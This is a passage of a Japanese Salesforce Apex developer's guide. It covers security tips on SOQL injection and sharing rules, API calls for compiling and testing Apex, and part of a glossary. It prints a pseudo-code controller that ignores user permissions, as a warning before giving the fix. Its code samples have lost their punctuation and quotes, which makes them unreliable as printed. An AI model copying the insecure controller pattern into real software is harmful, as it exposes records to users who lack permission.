動的 SOQL を使用する必要がある場合escapeSingleQuotesメソッドを使用してユーザ指定の入力を削除しますこのメソッドはエスケープキャラクター()を文字列内のユーザからパスされるすべてのシングルクォーテーションマークに追加しますメソッドはすべてのシングルクォーテーションマークがデータベースメソッドの代わりに文字列の囲みとして使われることを確実にします

データアクセスコントロール

Forcecom プラットフォームはデータ共有ルールを広範囲に使用します各オブジェクトにはユーザおよびプロファイルが読み取り作成編集削除できる一意の権限がありますこれらの制限はすべての標準コントローラを使用する場合に強制されます

Apex クラスを使用する場合組み込みプロファイル権限および項目レベルのセキュリティ制限は実行時重視されませんデフォルトの動作としてApex クラスに組織のすべてのデータを読み込み更新する機能がありますルールが強制実行されるわけではないためApex を使用する開発者はプロファイルに基づく権限項目レベルのセキュリティ組織のデフォルトなどにより通常はユーザから隠されている重要データをうっかり公開することがないように注意しなければなりませんこれは特にVisualforceページで当てはまりますたとえば次の Apex 擬似コードについて考えます

public class customController public void read() Contact contact = [Select id fromContact where Name = value]

この場合現在ログインしているユーザにこれらのレコードを表示する権限がない場合でもすべての取引先責任者レコードが検索されます解決策としてクラスを宣言する場合修飾キーワードのwith sharingを使用します

public with sharing class customController

with sharingキーワードを使用するとプラットフォームはすべてのレコードに完全アクセス権限を付与するのではなく現在ログインしているユーザのセキュリティ共有権限を使用します

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント Version 180 | データアクセスコントロール | 405

付録

DForcecom Web サービス API コールおよび Apex の SOAP ヘッ

この付録ではApex でデフォルトで使用可能な Web サービス API コールの詳細について説明します

メモ Apex クラスメソッドはカスタムの Forcecom Web サービス API コールとしての表示が可能ですこれにより外部アプリケーションが Apex Web サービスを実行しSalesforcecom でアクションを実行できるようになりますこれらのメソッドの定義には webServiceキーワードを使用します詳細は「WebServiceキーワードの使用における注意事項」 (ページ 171)を参照してください

Web サービス API コールを使用して保存されたすべての Apex スクリプトはAPI 要求のエンドポイントと同じバージョンの API を使用しますたとえばApex バージョン 180 を使用する場合次のようにエンドポイント180 を使用します

httpsna1-apisalesforcecomservicesSoaps180

既存の Apex IDE の拡張または実装に使用できるものも含めたすべての Web サービス API コールについての詳細はsalesforcecom の担当者にお問い合わせください

この付録では次の Web サービス API コールの詳細について説明します

bull compileAndTest()

bull compileClasses()

bull compileTriggers()

bull executeanonymous()

bull runTests()

次の SOAP ヘッダーを Apex の API コールで使用できます

bull DebuggingHeaderbull PackageVersionHeader

下記の 2 つのコールについては『Forcecom Metadata API Developers Guide』を参照してください

bull deploy()

bull retrieve()

compileAndTest()

単一のコールの Apex をコンパイルおよびテストします

構文

CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request)

使用方法

このコールを使用して1 つのコールで指定した Apex をコンパイルおよびテストします運用組織 (DeveloperEdition または Sandbox Edition を使用していない) はcompileClasses()または compileTriggers()の代わりにこのコールを使用する必要があります

このコールはDebuggingHeader と SessionHeader をサポートしていますAPI の SOAP ヘッダーの詳細は『Forcecom Web Services API Developers Guide』を参照してください

指定されたすべてのテストに合格する必要があります合格しない場合データはデータベースに保存されませんこのコールが運用組織で呼び出されるとCompileAndTestRequest の RunTestsRequest プロパティは無視され組織で定義されたすべてのユニットテストが実行され合格する必要があります

サンプルコードmdashJava

次の例ではcheckOnlyを trueに設定してこのクラスがコンパイルおよびテストされますがクラスがデータベースに保存されないようにします

CompileAndTestRequest request CompileAndTestResult result = null

String triggerBody = trigger t1 on Account (before insert) + for(AccountaTriggernew) + adescription = t1_UPDATE +

String classToTestTriggerBody = public class TestT1 + public static testmethod voidtest1() + Account a = new Account(name=TEST) + insert(a) + a = [select iddescription from Account where id=aid] + Systemassert(adescriptioncontains(t1_UPDATE)) + +

String classBody = public class c1 + public static String s =HELLO + publicstatic testmethod void test1() + Systemassert(s==HELLO) + +

TEST チェック用のすべてのテスト要件を満たす 1 クラスのみをコンパイルします

request = new CompileAndTestRequest()

requestsetClasses(new String[] classBody classToTestTriggerBody )requestsetTriggers(new String[] triggerBody ) requestsetCheckOnly(true)

try result = apexBindingcompileAndTest(request) catch (RemoteException e) Systemoutprintln(An unexpected error occurred + egetMessage()) assert(resultisSuccess())

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | compileAndTest() | 407

引数

説明型Name

Apexおよびこの要求に設定する必要のある項目の値を含む要求

CompileAndTestRequestrequest

Response

CompileAndTestResult

CompileAndTestRequest

compileAndTest()コールにはこのオブジェクトが含まれApex についての情報がコンパイルされています

CompileAndTestRequest オブジェクトには次のプロパティがあります

説明型Name

trueに設定されている場合コードが正常にコンパイルされているかどうかユニットテストに合格しているかどうかに関係なく送信された Apex クラスおよびトリガは組織に保存されません

booleancheckOnly

コンパイルされるクラスの内容stringclasses

削除されるクラスの名前stringdeleteClasses

削除されるトリガの名前stringdeleteTriggers

テストする Apex の情報を指定します要求が運用組織に送信されるとこのプロパティは無視され組織全体のユニットテストがすべて実行されます

RunTestsRequestrunTestsRequest

コンパイルされるトリガの内容stringtriggers

このオブジェクトについては次の点に注意してください

bull このオブジェクトにはRunTestsRequestプロパティが含まれています要求が運用組織で実行されるとこのプロパティは無視されすべてのテストが実行されます

bull コンパイル削除テスト時にエラーが発生した場合または 75 のコード範囲の目標が達成されなかった場合クラスもトリガは組織に保存されませんこれはForcecom AppExchange パッケージテストと同じ要件です

bull すべてのトリガにはコード範囲がありますトリガにコード範囲がない場合クラスもトリガも組織には保存されません

CompileAndTestResult

compileAndTest()コールは成功または失敗など指定された Apex のコンパイルおよびユニットテストの実行に関する情報を返します

CompileAndTestResult オブジェクトには次のプロパティがあります

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | CompileAndTestRequest | 408

説明型Name

クラスがコンパイルされている場合compileAndTest()

コールの成功または失敗の情報CompileClassResultclasses

クラスが削除されている場合compileAndTest()コールの成功または失敗の情報

DeleteApexResultdeleteClasses

クラスが削除されている場合compileAndTest()トリガの成功または失敗の情報

DeleteApexResultdeleteTriggers

指定されている場合Apexユニットテストの成功または失敗の情報

RunTestsResultrunTestsResult

trueの場合指定されたすべてのクラストリガユニットテストが正常に実行されていますクラストリガまたはユ

booleansuccess

ニットテストが失敗した場合値はfalseで詳細は次のような対応する結果オブジェクトで報告されますbull CompileClassResultbull CompileTriggerResultbull DeleteApexResultbull RunTestsResult

トリガがコンパイルされている場合compileAndTest()

コールの成功または失敗の情報CompileTriggerResulttriggers

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

CompileClassResult

このオブジェクトはcompileAndTest()または compileClasses()コールの一部として返されます指定された Apex のコンパイルと実行が正常に行われたかどうかの情報が含まれています

CompileClassResult オブジェクトには次のプロパティがあります

説明型Name

クラスファイルまたはトリガファイルの CRC (周期的冗長チェック)intbodyCrc

エラーが発生した場合発生した列の番号intcolumn

コンパイルされた各クラスの ID が作成されますID は組織内で一意です

IDid

エラーが発生した場合発生した行の番号intline

クラスの名前ですstringname

エラーが発生した場合その問題の説明stringproblem

trueの場合コードは正常にコンパイルされていますfalseの場合問題はこのオブジェクトのその他のプロパティで指定されています

booleansuccess

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | CompileAndTestResult | 409

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

CompileTriggerResult

このオブジェクトはcompileAndTest()または compileTriggers()コールの一部として返されます指定された Apex のコンパイルと実行が正常に行われたかどうかの情報が含まれています

CompileTriggerResult オブジェクトには次のプロパティがあります

説明型Name

トリガファイルの CRC (周期的冗長検査)intbodyCrc

エラーが発生した場合発生した列intcolumn

コンパイルされた各トリガの ID が作成されますID は組織内で一意です

IDid

エラーが発生した場合発生した行の番号intline

トリガの名前stringname

エラーが発生した場合その問題の説明stringproblem

trueの場合指定されたトリガは正常にコンパイルされ実行されていますトリガのコンパイルまたは実行が失敗する場合値は false

です

booleansuccess

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

DeleteApexResult

このオブジェクトはcompileAndTest()コールがクラスまたはトリガの削除に関する情報を返します

DeleteApexResult オブジェクトには次のプロパティがあります

説明型Name

削除されたトリガまたはクラスの IDID は組織内で一意ですIDid

エラーが発生した場合その問題の説明stringproblem

trueの場合指定されたクラスまたはトリガはすべて正常に削除されていますクラスまたはトリガが削除されていない場合値は false

です

booleansuccess

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

compileClasses()

Developer Edition または Sandbox Edition を使用している組織の Apex をコンパイルします

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | compileClasses() | 410

構文

CompileClassResult[] = compileClasses(string[] classList)

使用方法

このコールを使用してDeveloper Edition または Sandbox Edition を使用している組織の Apex クラスをコンパイルします運用組織ではcompileAndTest()を使用する必要があります

このコールはDebuggingHeader と SessionHeader をサポートしていますAPI の SOAP ヘッダーの詳細は『Forcecom Web Services API Developers Guide』を参照してください

サンプルコードmdashJava

public void compileClassesSample() String p1 = public class p1 n + public staticInteger var1 = 0n + public static void methodA() n + var1 = 1n + n + publicstatic void methodB() n + p2MethodA()n + n + String p2 = public classp2 n + public static Integer var1 = 0n + public static void methodA() n + var1= 1n + n + public static void methodB() n + p1MethodA()n + n + CompileClassResult[] r = new CompileClassResult[0] try r = apexBindingcompileClasses(newString[]p1 p2) catch (RemoteException e) Systemoutprintln(An unexpected erroroccurred + egetMessage()) if (r[0]isSuccess()) Systemoutprintln(Couldntcompile class p1 because + r[0]getProblem()) if (r[1]isSuccess()) Systemoutprintln(Couldnt compile class p2 because + r[1]getProblem())

引数

説明型Name

Apexクラスおよびこの要求に設定する必要のある項目の値を含む要求stringscripts

Response

CompileClassResult

compileTriggers()

Developer Edition または Sandbox Edition を使用している組織の Apex トリガをコンパイルします

構文

CompileTriggerResult[] = compileTriggers(string[] triggerList)

使用方法

このコールを使用してDeveloper Edition または Sandbox Edition を使用している組織の指定された Apex トリガを コンパイルします運用組織ではcompileAndTest()を使用する必要があります

このコールはDebuggingHeader と SessionHeader をサポートしていますAPI の SOAP ヘッダーの詳細は『Forcecom Web Services API Developers Guide』を参照してください

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | compileTriggers() | 411

引数

説明型Name

Apexトリガおよびこの要求に設定する必要のある項目の値を含む要求stringscripts

Response

CompileTriggerResult

executeanonymous()

Apex のブロックを実行します

構文

ExecuteAnonymousResult[] = bindingexecuteanonymous(string apexcode)

使用方法

このコールを使用してApex の匿名ブロックを実行しますこのコールは AJAX から実行できます

このコールはAPI DebuggingHeader と SessionHeader をサポートしています

制限されたAPIアクセスを含むパッケージのコンポーネントがこのコールを発行する場合要求はブロックされます

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

引数

説明型Name

Apex のブロックstringapexcode

『Forcecom Web Services API Developers Guide』にはセキュリティアクセスSOAP ヘッダーに関する情報が記載されています

Response

ExecuteAnonymousResult[]

ExecuteAnonymousResult

executeanonymous()コールはコードのコンパイルおよび実行が正常に行われたかどうかの情報を返します

ExecuteAnonymousResultオブジェクトには次のプロパティがあります

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | executeanonymous() | 412

説明型名前

compiledが偽である場合この項目にはコンパイルが失敗したポイントの列番号が含まれています

intcolumn

compiledが偽である場合この項目にはコンパイルが失敗した問題の説明が含まれています

stringcompileProblem

真の場合コードは正常にコンパイルされています偽の場合columnlinecompileProblem項目は null ではありません

booleancompile

successが偽である場合この項目には失敗の例外メッセージが含まれています

stringexceptionMessage

successが偽である場合この項目には失敗のスタックトレースが含まれています

stringexceptionStackTrace

compiledが偽である場合この項目にはコンパイルが失敗したポイントの行番号が含まれています

intline

真の場合コードは正常に実行されています偽の場合exceptionMessageおよび exceptionStackTraceの値は null ではありません

booleansuccess

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

runTests()

Apex ユニットテストを実行します

構文

RunTestsResult[] = bindingrunTests(RunTestsRequest request)

使用方法

強固な開発を促進するためにエラーのないコードApex はユニットテストの作成および実行をサポートしますユニットテストは特定のコードが適切に動作しているかを確認するクラスメソッドですユニットテストは引数をとらずデータをデータベースにコミットせず電子メールを送信せずメソッド定義で testMethod

キーワードを使用してフラグを立てます このコールを使用してApex ユニットテストを実行します

このコールはDebuggingHeader と SessionHeader をサポートしていますAPI の SOAP ヘッダーの詳細は『Forcecom Web Services API Developers Guide』を参照してください

サンプルコードmdashJava

public void runTestsSample() String sessionId = sessionID goes here String url = urlgoes here set the apex stub with session id received from logging in with the partnerAPI _SessionHeader sh = new _SessionHeader() apexBindingsetHeader( newApexServiceLocator()getServiceName()getNamespaceURI() SessionHeader sh) set theurl received from logging in with the partner API to the apex stub

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | runTests() | 413

apexBinding_setProperty(ApexBindingStubENDPOINT_ADDRESS_PROPERTY url)

set the debugging header _DebuggingHeader dh = new _DebuggingHeader()dhsetDebugLevel(LogTypeProfiling) apexBindingsetHeader( newApexServiceLocator()getServiceName()getNamespaceURI() DebuggingHeader dh)

long start = SystemcurrentTimeMillis() RunTestsRequest rtr = new RunTestsRequest()rtrsetAllTests(true) RunTestsResult res = null try res = apexBindingrunTests(rtr) catch (RemoteException e) Systemoutprintln(An unexpected error occurred +egetMessage())

Systemoutprintln(Number of tests + resgetNumTestsRun()) Systemoutprintln(Numberof failures + resgetNumFailures()) if (resgetNumFailures() gt 0) for (RunTestFailurertf resgetFailures()) Systemoutprintln(Failure + (rtfgetNamespace() == null rtfgetNamespace() + )) + rtfgetName() + + rtfgetMethodName() + +rtfgetMessage() + n + rtfgetStackTrace()) if (resgetCodeCoverage() = null) for (CodeCoverageResult ccr resgetCodeCoverage()) Systemoutprintln(Code coveragefor + ccrgetType() + (ccrgetNamespace() == null ccrgetNamespace() + )+ccrgetName() + + ccrgetNumLocationsNotCovered() + locations not covered out of + ccrgetNumLocations()) if (ccrgetNumLocationsNotCovered() gt 0) for (CodeLocation cl ccrgetLocationsNotCovered()) Systemoutprintln(tLine + clgetLine() + column + clgetColumn()) if (ccrgetSoqlInfo() = null) Systemoutprintln( SOQL profiling)for (CodeLocation cl ccrgetSoqlInfo()) Systemoutprintln(tLine + clgetLine() + column + clgetColumn() + + clgetNumExecutions() + time(s) in + clgetTime()+ ms) if (ccrgetDmlInfo() = null) Systemoutprintln( DML profiling) for(CodeLocation cl ccrgetDmlInfo()) Systemoutprintln(tLine + clgetLine() + column + clgetColumn() + + clgetNumExecutions() + time(s) in + clgetTime() + ms) if (ccrgetMethodInfo() = null) Systemoutprintln( Method profiling) for(CodeLocation cl ccrgetMethodInfo()) Systemoutprintln(tLine + clgetLine() + column + clgetColumn() + + clgetNumExecutions() + time(s) in + clgetTime() + ms) Systemoutprintln(Finished in + (SystemcurrentTimeMillis() - start) +ms)

引数

説明型名前

Apex ユニットテストおよびこの要求に設定する必要のある項目の値を含む要求

RunTestsRequestrequest

Response

RunTestsResult

RunTestsRequest

compileAndTest()コールには要求 CompileAndTestRequest が含まれApex についての情報がコンパイルされています要求にはテストする Apex の情報を指定するこのオブジェクトが含まれていますテストする同じクラスまたは異なるクラスをコンパイルされた状態に指定しますトリガを直接テストできないためこのオブジェクトに含むことはできません代わりにトリガをコールするクラスを指定する必要があります

要求が運用組織に送信されるとこの要求は無視され組織に定義されたすべてのユニットテストが実行されます

CompileAndTestRequest オブジェクトには次のプロパティがあります

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | RunTestsRequest | 414

説明型名前

allTestsが真の場合組織に定義されたすべてのユニットテストが実行されます

booleanallTests

1 つまたは複数のオブジェクトの配列stringclasses

指定されている場合実行するユニットテストを含む名前空間allTestsを真に指定する場合このプロパティを使用しないでくださいまた

stringnamespace

compileAndTest()を運用組織で実行する場合このプロパティは無視され組織に定義されたすべてのユニットテストが実行されます

バージョン 100 以降は使用しないでくださいサポートされていない古いリリースではパッケージの内容がテストされます

stringpackages

RunTestsResult

コールは指定された Apex のコンパイルが成功したか否かテストが正常に完了したか否かについての情報を返します

RunTestsResult オブジェクトには次のプロパティがあります

説明型名前

ユニットテストのコード範囲の詳細を含む 1 つまたは複数の CodeCoverageResult オブジェクトの配列

CodeCoverageResult[]codeCoverage

テストの実行について警告する 1 つまたは複数のコード範囲の配列結果には実行された行の合計数実行さ

CodeCoverageWarning[]codeCoverageWarnings

れなかったコードの数行列の位置が含まれています

ユニットテストの失敗があればそれについての情報を含む 1 つまたは複数の RunTestFailure オブジェクトの配列

RunTestFailure[]failures

ユニットテストの失敗数intnumFailures

実行されたユニットテストの数intnumTestsRun

成功についての情報があればその情報を含む 1 つまたは複数の RunTestSuccesses オブジェクトの配列

RunTestSuccess[]successes

テストの実行に費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

doubletotalTime

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | RunTestsResult | 415

CodeCoverageResult

このオブジェクトを含む RunTestsResult オブジェクト指定された Apex のコンパイルとユニットテストの実行が正常に行われたかどうかの情報が含まれています

CodeCoverageResult オブジェクトには次のプロパティがあります

説明型名前

テストされた各クラスまたはトリガについてテストされたコードの各部分についてこのプロパティにはDML ステートメントの場所

CodeLocation[]dmlInfo

コードが実行された回数これらのコールに費やした累積時間の合計が含まれていますパフォーマンスの監視に役立つ場合があります

CodeLocation の IDID は組織内で一意ですIDid

テストされた各クラスまたはトリガについてコードが変換されていない場合テストされていないコードの行および列コードが実行された回数

CodeLocation[]locationsNotCovered

テストされた各クラスまたはトリガについてメソッド呼び出しの場所コードが実行された回数これらのコールに費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

CodeLocation[]methodInfo

カバーされているクラスの名前stringname

指定されている場合ユニットテストを含む名前空間stringnamespace

カバーされている場所の数intnumLocations

テストされた各クラスまたはトリガについてコードの SOQL ステートメントの場所コードが実行された回数これらのコールに費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

CodeLocation[]soqlInfo

テストされた各クラスまたはトリガについてコードの SOSL ステートメントの場所コードが実行された回数これらのコールに費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

CodeLocation[]soslInfo

使用しません以前のサポートされていないリリースではクラスまたはパッケージを指定していました

stringtype

CodeCoverageWarning

このオブジェクトを含む RunTestsResult オブジェクト警告を生成した Apex クラスに関する情報が含まれています

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | RunTestsResult | 416

このオブジェクトには次のプロパティがあります

説明型名前

警告を生成したクラスの IDIDid

生成された警告のメッセージstringmessage

警告を生成したクラスの名前警告がコードの範囲全体に適用されて場合この値は null になります

stringname

指定されている場合クラスを含む名前空間stringnamespace

RunTestFailure

RunTestsResult オブジェクトはユニットテスト実行時の失敗に関する情報を返します

このオブジェクトには次のプロパティがあります

説明型名前

失敗を生成したクラスの IDIDid

失敗のメッセージstringmessage

失敗したメソッドの名前stringmethodName

失敗したクラスの名前stringname

指定されている場合クラスを含む名前空間stringnamespace

失敗についてのスタックトレースstringstackTrace

失敗の処理に対してテストの実行に費やした時間パフォーマンスの監視に役立つ場合があります

doubletime

使用しません以前のサポートされていないリリースではクラスまたはパッケージを指定していました

stringtype

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

RunTestSuccess

RunTestsResult オブジェクトはユニットテスト実行時の成功に関する情報を返します

このオブジェクトには次のプロパティがあります

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | RunTestsResult | 417

説明型名前

成功を生成したクラスの IDIDid

成功したメソッドの名前stringmethodName

成功したクラスの名前stringname

指定されている場合クラスを含む名前空間stringnamespace

この操作に対してテストの実行に費やした時間パフォーマンスの監視に役立つ場合があります

doubletime

CodeLocation

さまざまな項目にこの項目を RunTestsResult オブジェクト

このオブジェクトには次のプロパティがあります

説明型名前

テストされた Apex の場所intcolumn

テストされた Apex の行の場所intline

テスト実行時に Apex が実行された回数intnumExecutions

この場所で費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

doubletime

DebuggingHeader

応答がリターンヘッダーのデバッグログを含むよう指定しデバッグのヘッダーの詳細のレベルを指定します

API コールcompileAndTest()executeanonymous()runTests()

項目

説明型要素名

この項目は廃止され後方互換性にのみ提供されていますデバッグログに返される情報の種類を指定します値は返される情報が最も少な

logtypedebugLevel

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | DebuggingHeader | 418

説明型要素名

いものから最も多いものの順に表示されます使用できる値は次のとおりですbull NONE

bull DEBUGONLY

bull DB

bull PROFILING

bull CALLOUT

bull DETAIL

デバッグログに返される情報の量や種類を指定しますLogInfo[]categories

LogInfo[]

デバッグログに返される情報の量や種類を指定しますcategories項目はこれらのオブジェクトのリストを取ります

項目

説明型要素名

デバッグログに返される情報の種類を指定します有効な値は次のとおりです

stringLogCategory

bull Db

bull ワークフローbull Validation

bull Callout

bull Apex_code

bull Apex_profiling

bull All

デバッグログに返される情報の量を指定しますApex_codeLogCategory

のみでログカテゴリのレベルを使用します

有効なログレベルは次のとおりです (低いものから順に並べてあります)

stringLogCategoryLevel

bull ERROR

bull WARN

bull INFO

bull DEBUG

bull FINE

bull FINER

bull FINEST

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | DebuggingHeader | 419

PackageVersionHeader

インストールされた管理パッケージのパッケージバージョンを指定しますパッケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式はmajorNumberminorNumberpatchNumber (例 213)となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumber

はパッチリリース時のみ生成されますpatchNumberがない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecomまでお問い合わせください一連のコンポーネントのほかパッケージバージョンには特定の動作が含まれています公開者はパッケージバージョンを使用してパッケージを使用する既存の連携に影響を与えることなく後続のパッケージバージョンをリリースすることにより管理パッケージのコンポーネントを発展させることができます

管理パッケージには異なる内容および動作のさまざまなバージョンを指定できますこのヘッダーを使用してAPI クライアントに参照される各パッケージに使用されるバージョンを指定できますパッケージのバージョンが指定されていない場合API クライアントは [設定] [開発] [API] の [バージョン設定] で選択されているパッケージのバージョンを使用しますこのヘッダーはAPI バージョン 160 以降で使用できます

API コールcompileAndTest() compileClasses() compileTriggers() executeanonymous()

項目

説明型要素名

この Apex クライアントによって参照されるインストールされた管理パッケージバージョンのリスト

PackageVersion[]packageVersions

PackageVersion

インストールされた管理パッケージのバージョンを指定します次の項目があります

説明型項目

パッケージバージョンのメジャー番号パッケージバージョンは21

のちょうにmajorNumberminorNumberと表されますintmajorNumber

パッケージバージョンのマイナー番号パッケージバージョンは21

のちょうにmajorNumberminorNumberと表されますintminorNumber

管理パッケージの一意の名前空間stringnamespace

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | PackageVersionHeader | 420

用語集

A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z

A

管理者 (システム管理者)

アプリケーションの設定およびカスタマイズができる組織内の 1 人以上のユーザシステム管理者プロファイルに割り当てられているユーザは管理者権限があります

AJAX Toolkit

API 周辺の JavaScript ラッパーでAPI コールを実行しJavaScript コードで表示する権限を持つオブジェクトにアクセスできます詳細については『AJAX Toolkit Developers Guide』を参照してください

匿名ブロックApex

Salesforcecomに格納できないがExecuteAnonymousResult()APIコールまたはAJAX Toolkitの同等のコールを使用してコンパイルおよび実行することができる Apex スクリプトです

Apex

Forcecom Apex コードは開発者が Forcecom プラットフォームサーバでフローとトランザクションの制御文を Forcecom API と組み合わせて実行できるようにした強く定型化されたオブジェクト指向のプログラミング言語ですJava に似た構文を使いデータベースのストアドプロシージャのように動作するApexコードを使用して開発者はボタンクリック関連レコードの更新および Visualforce ページなどのほとんどのシステムイベントに対しビジネスロジックを追加できますApexスクリプトはWeb サービス要求からおよびオブジェクトのトリガから開始できます

Apex による共有管理開発者はアプリケーションの動作をサポートする共有をプログラムで操作できるようになりますApexによる共有管理はカスタムオブジェクトでのみ有効です

App

「アプリケーション」の短縮形です特定のビジネス要件を扱うタブレポートダッシュボードおよびVisualforce ページなどのコンポーネントの集合ですSalesforcecom ではセールスおよびコールセンターなどの標準アプリケーションを提供していますお客様のニーズに合わせてこれらの標準アプリケーションをカスタマイズできますまたアプリケーションをパッケージ化してカスタム項目カスタムタブカスタムオブジェクトなどの関連コンポーネントとともに AppExchange にアップロードすることができますそのアプリケーションをAppExchangeから他のSalesforcecomユーザが利用できるようにすることもできます

AppExchange

AppExchangeはForcecomプラットフォーム用に作成されたアプリケーションとコンポーネントの参照インストールおよび共有を可能にする salesforcecomのオンデマンドアプリケーション共有インターフェースです

アプリケーションプログラムインターフェース (API)

コンピュータシステムライブラリまたはアプリケーションがその他のコンピュータプログラムがサービスを要求したりデータを交換できるようにするために提供するインターフェース

承認プロセスSalesforcecomでレコードを承認する場合に組織で使用できる自動化されたプロセスです承認プロセスでは承認するレコードの条件と各承認ステップの承認者を指定します各承認ステップはその承認プロセスの対象レコードすべてに適用することも特定の条件を満たすレコードのみに適用することもできます承認プロセスではレコードの承認却下撤回または承認申請時に実施するアクションも指定します

B

Apex の一括処理Apex を使用して多くのレコードに長く複雑な処理をスケジュールされた時間に実行する機能

C

コールアウトApex

Apex コールアウトを使用して外部 Web サービスへのコールを作成または Apex スクリプトから HTTP要求を送信して応答を受信することによってApex を外部サービスとを密接に統合することができます

子リレーション別の sObject を一対多リレーションの片方として参照する sObject に定義されたリレーションたとえば取引先担当者商談および行動は取引先との子リレーションがあります

「sObject」も参照してください

クラスApex

Apexオブジェクト作成するためのテンプレートまたはつまり設計図他のクラスユーザ定義メソッド変数例外タイプおよび static 初期設定化コードで構成されます多くの場合Apex クラスはJava内のその対応物に基づいています

クライアントアプリケーションSalesforcecomユーザインターフェース外で稼動しForcecom APIまたはBulk APIのみを使用するアプリケーション通常デスクトップまたはモバイルデバイス上で稼動しますこれらのアプリケーションはプラットフォームをデータソースとして扱い設計されたツールおよびプラットフォームの開発モデルを使用します複合アプリケーションおよびネイティブアプリケーションを参照してください

コンポーネントVisualforce

ltapexdetailgtなどの一連のタグを使用して Visualforce ページに追加できますVisualforce には多くの標準コンポーネントが含まれていますが独自のカスタムコンポーネントを作成することもできます

用語集 Version 180 | | 422

コンポーネントの参照Visualforce

組織で使用できる Visualforce の標準コンポーネントおよびカスタムコンポーネントの説明Visualforce ページの開発フッターまたは『Visualforce Developers Guide』からコンポーネントライブラリにアクセスできます

複合アプリケーションYahoo 地図など 1 つまたは複数の外部 Web サービスとネイティブのプラットフォーム機能を組み合わせるアプリケーション複合アプリケーションを使用すると柔軟性とその他のサービスとの統合を実現しますが外部コードの実行および管理が必要な場合がありますクライアントアプリケーションおよびネイティブアプリケーションを参照してください

コントローラVisualforce

Visualforce ページに実行する必要のあるデータおよびビジネスロジックを提供する Apex クラスVisualforceページはデフォルトですべての標準オブジェクトまたはカスタムオブジェクトに付属する標準コントローラを使用またはカスタムコントローラを使用できます

拡張コントローラ拡張コントローラは標準コントローラまたはカスタムコントローラの機能を拡張する Apex クラスです

カスタムアプリケーション「アプリケーション」を参照してください

カスタムコントローラカスタムコントローラは標準コントローラを使用せずにページのすべてのロジックを実装する Apex クラスですVisualforce ページ全体をシステムモードで実行する場合にカスタムコントローラを使用しますシステムモードはプロファイルベースの権限および現在のユーザの項目レベルのセキュリティを設定しません

カスタムリンクSalesforcecom データを外部 Web サイトおよびバックエンドのオフィスシステムと統合するためにシステム管理者が定義したカスタム URL以前は Web リンクと呼ばれていました

カスタムオブジェクト組織固有の情報を保存することが可能なカスタムレコード

D

データベース情報の編成された集合Forcecomプラットフォームの基底となるアーキテクチャにはデータが格納されているデータベースが含まれています

データローダSalesforcecom 組織のデータをインポートおよびエクスポートするために使用するForcecom プラットフォーム

データ操作言語 (DML)

Forcecom プラットフォームデータベースからレコードを挿入更新削除する Apex のメソッドまたは操作

用語集 Version 180 | | 423

データ状況特定の時間におけるオブジェクト内データの構造

日付リテラルlast monthまたは next yearなど時間の相対的範囲を示す SOQL クエリまたは SOSL クエリのキーワード

小数点の位置数値通貨パーセント項目で小数点の右に入力できる桁数合計たとえば498 の場合は 2 となりますこれ以上の桁の数値を入力した場合は四捨五入されますたとえば[小数点の位置]が 2 の場合に 4986と入力するとその数値 は 499 となります

非推奨コンポーネント開発者は要件がアップグレードするごとに管理パッケージの機能を調整する場合があります管理パッケージのコンポーネントの一部の再設計が必要な場合があります開発者は「管理-リリース済み」パッケージの一部のコンポーネントは削除できませんが新しい登録ユーザがコンポーネントを受け取らないよう今後のパッケージのコンポーネントを廃止することができます既存の登録ユーザおよびAPI統合に対してはコンポーネントは継続して機能します

Developer Force

Developer Force Web サイト ( developerforcecom) ではサンプルコードツールキットオンラインの開発者コミュニティそして制限された Forcecom プラットフォーム環境を取得する機能などプラットフォーム開発者の幅広い範囲のリソースを提供しています

E

電子メールアラート電子メールアラートは電子メールテンプレートを使用してワークフロールールまたは承認プロセスによって生成されSalesforcecomユーザなど指定された受信者に送信されるワークフローおよび承認アクションです

Enterprise WSDL

Salesforcecom 組織のみとの統合を構築する顧客または強い定型化が必要な統合を構築するために Tibco やwebMethods のようなツールを使用しているパートナー向けの強く定型化されたWSDLEnterprise WSDLの欠点は組織のデータモデルに存在するすべての一意のオブジェクトおよび項目にバインドされているため1 つの Salesforcecom 組織のスキーマだけを扱うという点です

エンティティ関係図 (ERD)

データをエンティティ (またはForcecomプラットフォームではオブジェクト) に整理しそれらのリレーションを定義することができるデータモデリングツール主要な Salesforcecom オブジェクトの ERD ダイアグラムについては『Forcecom Web Services API Developers Guide』を参照してください

F

